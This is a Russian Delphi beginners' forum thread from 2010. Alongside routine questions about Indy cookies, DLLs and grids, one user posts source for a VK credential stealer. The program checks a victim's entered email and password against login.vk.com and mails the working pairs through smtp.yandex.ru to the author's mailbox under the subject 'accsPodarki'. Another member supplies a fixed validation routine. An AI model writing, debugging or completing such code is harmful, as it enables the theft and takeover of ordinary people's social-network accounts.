[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by banned, 6 May 2007.

Thread Status:
Not open for further replies.
  1. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    На строках
    Code:
    Form1.IdCookieManager1.AddCookies('remixsid='+s+ '; path=/; ','vk.com');  
    Form1.IdCookieManager1.AddCookies('remixchk=5; path=/;','vk.com');
    Вываливаются ошибки
    Что это может быть?

    Если сделать вот так
    Code:
    Form1.IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com');
    Form1.IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com');
    То ошибки такие :
     
    #7101 stepashka_, 30 Oct 2010
    Last edited: 30 Oct 2010
  2. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    Хех ооочень имхо тупой вариант.

    Code:
    var
      Form6: TForm6;
      i: Integer;
      j: Integer;
    
    implementation
    
    {$R *.dfm}
    
    procedure TForm6.Button1Click(Sender: TObject);
    begin
    I:= StrToInt(Edit1.Text);
    
    end;
    
    procedure TForm6.Timer1Timer(Sender: TObject);
    begin
    j:=i;
    end;
    
    procedure TForm6.Timer2Timer(Sender: TObject);
    begin
    if i<>j then
    ShowMessage('');
    end;
    
    end.
    Но работает))
     
  3. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    stepashka_ что у тебя за Indy такая?
    в хелпе:
    PHP:
    procedure AddCookie(
        
    ACookieString
        
    AHostString
    );
    procedure AddCookie2(
        
    ACookieString
        
    AHostString
    );
    т.е. AddCookies в хелпе нету, а AddCookie есть и принимает 2 строки как и должно быть, и по идее твой код должен компилироваться
     
  4. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    10

    Нифига не хочет :(

    ps. Попробовал убрать
    Code:
    Form1.IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com');
    Form1.IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com');
    На мыло приходят и валидные и не валидные акки(
    Помогите а..
     
    #7104 stepashka_, 30 Oct 2010
    Last edited: 30 Oct 2010
  5. sobol

    sobol New Member

    Joined:
    28 Oct 2010
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    вопрос! как мне настроить звук 5.1 на линуксе?
     
  6. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    stepashka_ у тебя наверное какой-то патченный куки-менеджер
    либо меняй инди либо показывай интерфейс класса TIdCookieManager

    PS перенеси на своем форуме раздел про ассемблер из раздела скриптовых языков ;)
     
  7. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    Вот моя инди http://forum.stepashka-blog.ru/IndyTiburon.zip
    Версия 10.5.8.0

    http://forum.stepashka-blog.ru/IdCookieManager.pas
     
    #7107 stepashka_, 30 Oct 2010
    Last edited: 30 Oct 2010
  8. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    stepashka_ пробуй так:
    var
    uri: TIdURI;
    begin
    uri := TIdURI.Create('http://vk.com');
    Form1.IdCookieManager1.AddServerCookie('remixsid='+s, uri);
    Form1.IdCookieManager1.AddServerCookie('remixchk=5', uri);
    uri.Free;

    Indy давно не использую, но вроде так должно быть судя по классам
     
  9. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    Не хочет оно работать(
     
  10. [stranger]

    [stranger] Member

    Joined:
    2 Feb 2010
    Messages:
    167
    Likes Received:
    29
    Reputations:
    4
    такая картина: длл-ка подгружается в несколько процессов, надо как-то передать данные длл в нужный процесс.. как такое реализовать?
     
  11. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    Что представляют собой даныне? Какие то значения?
     
  12. [stranger]

    [stranger] Member

    Joined:
    2 Feb 2010
    Messages:
    167
    Likes Received:
    29
    Reputations:
    4
    неважно.. что-то типа того
     
  13. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    Подскажите где тут в коде ошибка? При вводе валидного/не валидного акка пишет Не верный пароль.

    Code:
    function check(): boolean;
    var
    uri: TIdUri;
    s : string;
    begin
    Result:=False;
    Form1.idhttp1.HandleRedirects := True;
    uns:=Form1.idhttp1.get('http://login.vk.com/?act=login&email='+edit1+'&pass='+edit2+'&expire=&vk=');
    s:=Copy(uns,Pos('value=',uns)+7,56);
    uri := TIdURI.Create('http://vk.com');
    Form1.IdCookieManager1.AddServerCookie('remixsid=' +s, uri);
    Form1.IdCookieManager1.AddServerCookie('remixchk=5 ', uri);
    uri.Free;
    Result := pos('выйти', uns) > 0;
    end;
    
    procedure TForm1.SpeedButton1Click(Sender: TObject);
    begin
    if check then
    begin
    IdSMTP1.Host:='smtp.yandex.ru';
    IdSMTP1.Port:=25;
    IdSMTP1.Username:='login';
    IdSMTP1.Password:='password';
    IdMessage1.Body.Text:=Edit1.Text+':'+Edit2.Text;
    IdMessage1.From.Text:='[email protected]';
    IdMessage1.Recipients.EMailAddresses:='[email protected]';
    IdMessage1.Subject:='accsPodarki';
    IdSMTP1.Connect();
    if IdSMTP1.Connected=true then
    IdSMTP1.Send(IdMessage1);
    IdSMTP1.Disconnect
    end
    else
    showmessage('Не верный пароль.')
    end;
    За помощь награжу ++
     
    #7113 stepashka_, 31 Oct 2010
    Last edited: 31 Oct 2010
  14. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    stepashka_, быдло код жестокий...
    Исправленный вариант функции check():
    Code:
    function check(): boolean;
    var
    //uri: TIdUri;
    //s : String;
    uns: String;
    TempStr: String;
    begin
    Result:=False;
    Form1.idhttp1.HandleRedirects := True;
    uns:=Form1.idhttp1.get('http://login.vk.com/?act=login&email='+Edit1+'&pass='+Edit2+'&expire=&vk=');
    //s:=Copy(uns,Pos('value=',uns)+7,56);
    //uri := TIdURI.Create('http://vk.com');
    //Form1.IdCookieManager1.AddServerCookie('remixsid='   +s, uri);
    //Form1.IdCookieManager1.AddServerCookie('remixchk=5   ', uri);
    //uri.Free;
    
    Delete(uns, 1, pos('''s''', uns) + 2);
    Delete(uns, 1, pos('''', uns));
    TempStr := copy(uns, 1, pos('''', uns) - 1);
    
    Form1.idhttp1.Request.CustomHeaders.Add('Cookie: remixchk=5; remixsid=' + TempStr);
    uns := Form1.idhttp1.Get('http://vkontakte.ru/profile.php');
    
    Result := pos('/editProfile.php?act=general', uns) > 0;
    end;
     
  15. Nizhegorodets

    Nizhegorodets Member

    Joined:
    21 Mar 2009
    Messages:
    80
    Likes Received:
    66
    Reputations:
    9
    Подскажите с помощью какого компонента можно создать клеточное поле как в "сапере"
     
  16. $Robin

    $Robin Member

    Joined:
    25 Jun 2010
    Messages:
    47
    Likes Received:
    5
    Reputations:
    0
    Я когда-то делал с помощью TStringGrid Правда улучшенную версию с центрированием, выбором цвета и прочим. Нашел где-то в сети его..
    Но лучше наверное самому это отрисовывать..
     
  17. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    А что толку?
    Всё равно Не верный пароль.
     
  18. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    stepashka_ а что сниффер показывает?
    может проверка
    Result := pos('/editProfile.php?act=general', uns) > 0;
    не срабатывает, а может вообще авторизация не проходит
     
  19. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    У меня все работает.
    И вообще такая запись у тебя, что можно только догадываться о том, что делают переменные:
    Лучше выложи полный код, или нормально оформи.
     
    1 person likes this.
  20. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    Code:
    var
      Form1: TForm1;
      uns, edit1, edit2 : string;
    implementation
    
    {$R *.dfm}
    
    
    
    function check(): boolean;
    var
    uri: TIdUri;
    s : String;
    uns: String;
    TempStr: String;
    begin
    Result:=False;
    Form1.idhttp1.HandleRedirects := True;
    uns:=Form1.idhttp1.get('http://login.vk.com/?act=login&email='+Edit1+'&pass='+Edit2+'&expire=&vk=');
    s:=Copy(uns,Pos('value=',uns)+7,56);
    uri := TIdURI.Create('http://vk.com');
    Form1.IdCookieManager1.AddServerCookie('remixsid='     +s, uri);
    Form1.IdCookieManager1.AddServerCookie('remixchk=5     ', uri);
    uri.Free;
    
    Delete(uns, 1, pos('''s''', uns) + 2);
    Delete(uns, 1, pos('''', uns));
    TempStr := copy(uns, 1, pos('''', uns) - 1);
    
    Form1.idhttp1.Request.CustomHeaders.Add('Cookie: remixchk=5; remixsid=' + TempStr);
    uns := Form1.idhttp1.Get('http://vkontakte.ru/profile.php');
    
    Result := pos('/editProfile.php?act=general', uns) > 0;
    end;
    
    procedure TForm1.SpeedButton1Click(Sender: TObject);
    begin
    if check then
    begin
    IdSMTP1.Host:='smtp.yandex.ru';
    IdSMTP1.Port:=25;
    IdSMTP1.Username:='login';
    IdSMTP1.Password:='pass';
    IdMessage1.Body.Text:=Edit1.Text+':'+Edit2.Text;
    IdMessage1.From.Text:='[email protected]';
    IdMessage1.Recipients.EMailAddresses:='[email protected]';
    IdMessage1.Subject:='accsPodarki';
    IdSMTP1.Connect();
    if IdSMTP1.Connected=true then
    IdSMTP1.Send(IdMessage1);
    IdSMTP1.Disconnect
    end
    else
    showmessage('Не верный пароль.')
    end;
    
    
    end.
     
Thread Status:
Not open for further replies.